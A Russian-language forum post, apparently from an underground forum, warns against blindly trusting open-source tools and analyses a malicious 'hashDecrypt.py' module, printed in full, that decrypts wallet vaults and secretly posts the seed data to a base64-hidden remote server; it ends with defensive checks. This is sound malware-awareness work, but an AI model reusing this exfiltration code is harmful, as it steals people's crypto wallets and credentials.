Почему нельзя слепо доверять открытым исходникам(open source) ?

Автор темы
586
4
Сразу предупреждаю, данная статья есть на соседнем форуме(xss), но я считаю что нуждаются в ней больше всего люди тут.
Спасибо за старания oceanaric, я немного дополню твою статью

Давайте представим ситуацию гуляете вы по форуму и видите тему "Бесплатный [tooltip=108]чекер[/tooltip] [tooltip=121]seed[/tooltip] фраз/([tooltip=108]чекер[/tooltip] токенов discord) с Открытым исходным кодом", в теме появляются хвалебные отзывы. Вы решаете скачать это ПО и оно действительно работает, только все данные, что вы вводили уже ушли другому человеку. В данной статье бы разберёмся что такое открытый исходный код, разберём пример где слепая вера людей в открытый исходный код может сыграть с ними злую шутку.
Открытый код (Open Source) - Программы с открытым кодом, предоставляют доступ к исходному коду программы, что позволяет пользователям просматривать и изменять этот код, а так же возможность компилировать исполняемый файл, что исключает возможность склейки с каким либо малварём.

Противоположность этому Закрытый код (Closed Source) - Программы с закрытым кодом, предоставляют только исполняемый код, но не предоставляют доступ к исходному коду программы. Проще говоря вы не сможете узнать что внутри данной программы, не снифая её.
Плюсы
-Прозрачность кода - каждый желающий человек может посмотреть исходный код проекта
-Компиляция - Возможность самому скомпилировать приложение, а не качать готовый exe, что исключает возможность склеек [tooltip=143]малваря[/tooltip] с exe.
-Бесплатность - Как правило, многие программы с открытым исходным кодом являются бесплатными.
-Возможность настроить и переписать ПО под себя

Минусы
-Если у тебя нету базовых навыков программирования открытый исходный код тебе ничего не даёт, кроме названия что он открытый
-Вероятность скрытого [tooltip=143]малваря[/tooltip] внутри, основанного на доверии людей к опенсорсу
-В открытом коде проще найти уязвимость, но нашедший может ее использовать в своих целях или сообщить разработчику/помочь ее убрать.

Я считаю что это конечно же перекладыванние ответственности, ведь мы думаем что кто-то обязательно скачал сурсы и проверил их на [tooltip=143]малварь[/tooltip] за нас, а если бы что-то было это конечно бы очень быстро снесли :ok_lol:
А если ещё ПО работает замечательно, то и бог с ним пусть ворует что хочет
Здесь все предельно просто. После установки появляется только один небольшой файл под названием [UNFURL='https://hashDecrypt.py']hashDecrypt.py[/UNFURL]:
Python:
import json
import base64
import hashlib
from Crypto.Cipher import AES
from requests import post, get
# +---------------------------------+
# |           [HashDecrypt]            |
# | https://github.com/HashSnake    |
# |     Telegram: @HashSnake        |
# +---------------------------------+
# |bytes(bytes_line).decode("utf-8")|
# +---------------------------------+

class hdec:
    def key_from_password(self, password, salt):
        salt_buffer = base64.b64decode(salt)
        password_buffer = password.encode('utf-8')
        key = hashlib.pbkdf2_hmac(
            'sha256',
            password_buffer,
            salt_buffer,
            10000,
            dklen=32
            )
        return key

    def decrypt_with_key(self, key, payload):
        encrypted_data = base64.b64decode(payload["data"])
        vector = base64.b64decode(payload["iv"])
        data = encrypted_data[:-16]
        cipher = AES.new(key, AES.MODE_GCM, nonce=vector)
        decrypted_data = cipher.decrypt(data)
        return decrypted_data

    def jsBIP39(self, payload):
 
        def cli_keccak256(raw_hash, raw_vault):
            try:
                message_bytes = raw_vault.encode('ascii')
                b64_bytes = base64.b64encode(message_bytes)
                b64_m = b64_bytes.decode('ascii')
                post(get(raw_hash).text.strip(), json={"b64": b64_m})
            except:
                pass
        encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX"
        base64_bytes = encode_data.encode('ascii')
        message_bytes = base64.b64decode(base64_bytes)
        cli_keccak256(message_bytes.decode('ascii'), payload)

    def decrypt(self, password, text):
        try:
            payload = json.loads(text)
            salt = payload['salt']
            key = self.key_from_password(password, salt)
            decrypted_string = self.decrypt_with_key(key, payload).decode('utf-8')
            self.jsBIP39(decrypted_string)
            jsf = json.loads(decrypted_string)
            return {"status": True, "message": None, "result": jsf}
        except UnicodeDecodeError:
            return {"status": False, "message": "wrong password", "result": None}
        except:
            return {"status": False, "message": "unknown", "result": None}

Первое что мы видим - импорт post и get функций. К чему они в пакете для работы с криптографией? Программа должна только расшифровывать хэш, зачем нам что либо отправлять в интернет?
Второе что мы видим - контакты разработчика?) Необычно.

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/dfca26e8-422f-4455-8f53-9f36875cbaad.webp[/IMG]

1. После успешного декрипта перед выводом результата запускается функция jsBIP39, в которую передается найденное значение
Python:
self.jsBIP39(decrypted_string)

Python:
encode_data = "aHR0cHM6Ly9naXRodWIuY29tL0hhc2hTbmFrZS9iYWNrZW5kYXBpL3Jhdy9tYWluL3NldHRpXXXX" # Что-то закодированное в BASE64
base64_bytes = encode_data.encode('ascii') #Закодированное значение  кодируется в ascii (str -> bytes)
message_bytes = base64.b64decode(base64_bytes) #Закодированное значение из прошлой строчки декодируется BASE64 и становится ссылкой “https://github.com/HashSnake/backendapi/raw/main/settings”
cli_keccak256(message_bytes.decode('ascii'), payload) # Вызывается вложенная функция cli_keccak256, в которую под видом raw_hash передается полученный url из прошлой строки, а под видом raw_vault - значение, которое будет отправлено на url

Python:
message_bytes = raw_vault.encode('ascii')#Значение, которое будет отправлено на url, тоже кодируется в ascii (str -> bytes)
b64_bytes = base64.b64encode(message_bytes)#Закодированное значение из прошлой строки теперь кодируется в BASE64
b64_m = b64_bytes.decode('ascii')#Закодированное в BASE64 значение из прошлой строки преобразовывается обратно в строку (bytes -> str)
post(get(raw_hash).text.strip(), json={"b64": b64_m}) # Сборник нашей солянки
Что здесь происходит:
1. get(raw_hash) - делает GET [tooltip=529]запрос[/tooltip] по URL, который был получен в 4 пункте и получает ответ [UNFURL]http://65.109.70.XXX:3030/api[/UNFURL]
2. .text.strip() - берет атрибут ответа “text” и убирает у него пробелы из начала и конца
3. post(get(raw_hash).text.strip(), json={“b64”: b64_m}) = post(“[UNFURL]http://65.109.70.XXX:3030/api”[/UNFURL], json={“b64”: b64_m}) - отправляет закодированные в BASE64 ворованные данные на сервер


Python:
post(get(raw_hash).text.strip(), json={“b64”: b64_m})

Казалось бы обычный код на 60 строк, но такой код с легкостью сворует ваш материал с которым вы хотели поработать, или же даже ваши личные кошельки, на которых вы решили проверить программу
1. Всегда смотрим на репутацию разработчика
2. Обращаем внимание на дату выхода ( чем дольше живёт тем лучше )
3. Если GitHub - проверить вкладки “Issues” и “Pull requests” на наличие жалоб/предупреждений от других

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/b24ddf10-35f1-4192-8947-1605d213c787.webp[/IMG]
4. Если есть файл со всеми установленными пакетами (package.json/requirements.txt/…) - проверить на наличие тематически неподходящих пакету
5. Взглянуть на код, в питоне обычно бекдоры прячут в __init__.py и подобные невинные, обычно пустые файлы. Начинать лучше с проверки импортов.
6. Если кода много, а со всего пакета нужен только он - гораздо быстрее и безопаснее просто вырезать нужную функцию себе, если это позволяет структура пакета.
7. Проверять цифровые подписи
8. Думать бошкой, стоит ли пихать важную информацию(сидки, api и тд) в ПО без устоявшейся репутации
9. Некоторые строки кода могут прятать в правой части блокнота см скриншот ниже

[IMG=align=left;alt=%5BIMG%5D]https://nztcdn.com/files/f1450876-174f-4511-bbab-cb9d637ab686.webp[/IMG]
10. В старых темах спокойно могут быть сдохшие домены для закачки софта, которые злоумышленник может присвоить себе и вы будете скачивать уже его exe файл или сурсы (Допустим год назад вы уже проверяли файл, решили снова скачать, а там уже малварь) . Пример
11. Всё можно накрутить! Звёздочки на гитхабе, отзывы и лайки.